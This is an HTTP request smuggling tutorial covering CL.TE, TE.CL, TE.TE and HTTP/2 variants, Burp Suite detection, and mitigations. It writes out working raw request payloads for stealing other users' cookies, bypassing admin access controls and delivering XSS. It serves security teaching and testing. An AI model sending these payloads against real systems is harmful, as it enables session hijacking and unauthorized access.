HTTP Request Smuggling: A Deep-Dive Technical Guide
HTTP request smuggling is a vulnerability that arises when a front-end server (load balancer, CDN, reverse proxy) and a back-end server disagree on where one HTTP request ends and the next begins. The attacker exploits this disagreement to “smuggle” a partial request into the back-end’s queue, which is then prepended to the next legitimate user’s request — with powerful and often devastating consequences.
This technique was researched and popularized by James Kettle at PortSwigger, and PortSwigger’s Web Security Academy contains the most comprehensive lab environment for practicing it.
Legal notice: Only test for HTTP request smuggling against applications you own or have explicit written authorization to assess.
Background: How HTTP Defines Request Boundaries
HTTP/1.1 allows two mechanisms for indicating where a message body ends:
- Content-Length (CL): An integer header specifying the exact byte length of the body.
- Transfer-Encoding: chunked (TE): The body is sent in chunks, each prefixed with its size in hex. A final chunk of
0\r\n\r\n signals the end.
The HTTP/1.1 specification says if both headers are present, Transfer-Encoding takes precedence and Content-Length is ignored. However, not all server implementations follow this precisely — and that disagreement is the root of smuggling.
The Two Core Variants
CL.TE (Front-end uses Content-Length, Back-end uses Transfer-Encoding)
The front-end reads the full body based on Content-Length. The back-end processes chunks and stops at the 0 terminator — leaving the attacker’s appended data waiting in its buffer.
Vulnerable request:
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 49
Transfer-Encoding: chunked
e
SMUGGLED_BODY_\r\n
0
GET /admin HTTP/1.1
X-Ignore: x
Here, Content-Length: 49 covers the full body (including GET /admin...). The back-end processes the chunked body, stops at 0, and leaves GET /admin HTTP/1.1\r\nX-Ignore: x sitting in its input buffer — which gets prepended to the next request it receives.
TE.CL (Front-end uses Transfer-Encoding, Back-end uses Content-Length)
The opposite scenario: the front-end processes chunks, but the back-end uses Content-Length and reads only part of the body.
Vulnerable request:
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
The front-end sees the chunked body and passes it along. The back-end reads only 4 bytes (5c\r\n) based on Content-Length: 4, and leaves the rest buffered — which contaminates subsequent requests.
TE.TE (Obfuscated Transfer-Encoding)
Both servers support chunked encoding, but one can be fooled into ignoring the Transfer-Encoding header through obfuscation:
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
Transfer-Encoding: chunked, dechunk
Transfer-Encoding: chunked (with extra whitespace)
Transfer-Encoding: x
Transfer-encoding: chunked (lowercase)
X-Transfer-Encoding: chunked (custom header some proxies pass through)
If one server honors the obfuscated variant and the other ignores it, you effectively have a CL.TE or TE.CL scenario.
Detection with Burp Suite
Using the Repeater Method (Timing-Based)
Step 1: Turn off Burp’s automatic Content-Length update (Repeater > uncheck “Update Content-Length”).
Step 2: Send a CL.TE probe and look for a time delay. A delay suggests the back-end is waiting for the rest of a chunk:
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
If the response takes ~10 seconds (server timeout), the back-end is chunked-aware and waiting for more chunks after the incomplete X. This confirms CL.TE behavior.
Step 3: For TE.CL detection, send:
POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
A delay here suggests TE.CL — the back-end is waiting for Content-Length: 6 bytes but only received 3.
HTTP Request Smuggler Extension
Install the HTTP Request Smuggler extension in Burp Suite (available via BApp Store):
- Right-click any request in Burp Proxy or Repeater
- Select Extensions > HTTP Request Smuggler > Smuggle Probe
- The extension automatically tests all variants (CL.TE, TE.CL, TE.TE) and reports findings
This is the fastest way to scan an application for smuggling vulnerabilities.
Exploitation: Capturing Another User’s Request
Once you confirm a CL.TE vulnerability, you can capture the next user’s full request (including their cookies and credentials) by smuggling a partial request that consumes their data:
POST / HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 303
Transfer-Encoding: chunked
0
POST /capture HTTP/1.1
Host: vulnerable.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
search=
The smuggled POST /capture has Content-Length: 400 but only provides search=. The remaining bytes are taken from the next victim’s request that arrives at the back-end — including their Cookie: header. Check the /capture endpoint’s stored data to retrieve it.
Exploitation: Bypassing Access Controls
If /admin is restricted to internal IPs, but the back-end trusts requests that appear to come from the front-end:
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 116
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
The back-end receives GET /admin appearing to originate from a local connection (the front-end), potentially bypassing IP-based restrictions.
Exploitation: Reflected XSS via Smuggling
Smuggling can turn a reflected XSS that only appears in obscure headers into one delivered to other users:
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 150
Transfer-Encoding: chunked
0
GET /xss HTTP/1.1
Host: vulnerable.com
X-Injected-Header: "><script>alert(document.cookie)</script>
Content-Length: 5
x=1
Real-World Impact
| Impact Category | Example |
|---|
| Session hijacking | Capturing victim’s Cookie header |
| Access control bypass | Reaching admin endpoints as regular user |
| Cache poisoning | Poisoning CDN cache with attacker-controlled response |
| Web cache deception | Tricking cache into storing sensitive pages |
| Request forgery | Performing actions on behalf of other users |
HTTP/2 Smuggling (H2.CL, H2.TE)
HTTP/2 does not use Content-Length or chunked encoding for framing — it uses binary frames. However, many front-ends downgrade HTTP/2 to HTTP/1.1 when talking to the back-end. If an attacker can inject HTTP/1.1 headers through HTTP/2 (which normally strips them), smuggling is possible.
Burp Suite’s HTTP/2 tab in Repeater allows sending raw HTTP/2 requests with manually specified pseudo-headers — essential for H2.CL testing.
Mitigation
| Fix | Description |
|---|
| Normalize requests at the edge | Front-end should rewrite/normalize headers before passing back |
Disable Transfer-Encoding on back-end | If not needed, reject chunked encoding entirely |
| Use HTTP/2 end-to-end | HTTP/2 binary framing eliminates CL/TE ambiguity |
| Keep servers synchronized | Same HTTP parsing library version on front and back-end |
| WAF rules | Detect and block requests with both CL and TE headers |
Summary
HTTP request smuggling is a sophisticated vulnerability that requires deep understanding of HTTP parsing behavior. The core insight is that discrepancies between front-end and back-end implementations of Content-Length vs. Transfer-Encoding create a window for request queue manipulation. Burp Suite’s HTTP Request Smuggler extension makes detection practical, while the exploitation impact — from session hijacking to access control bypass — makes it a critical finding in any penetration test report.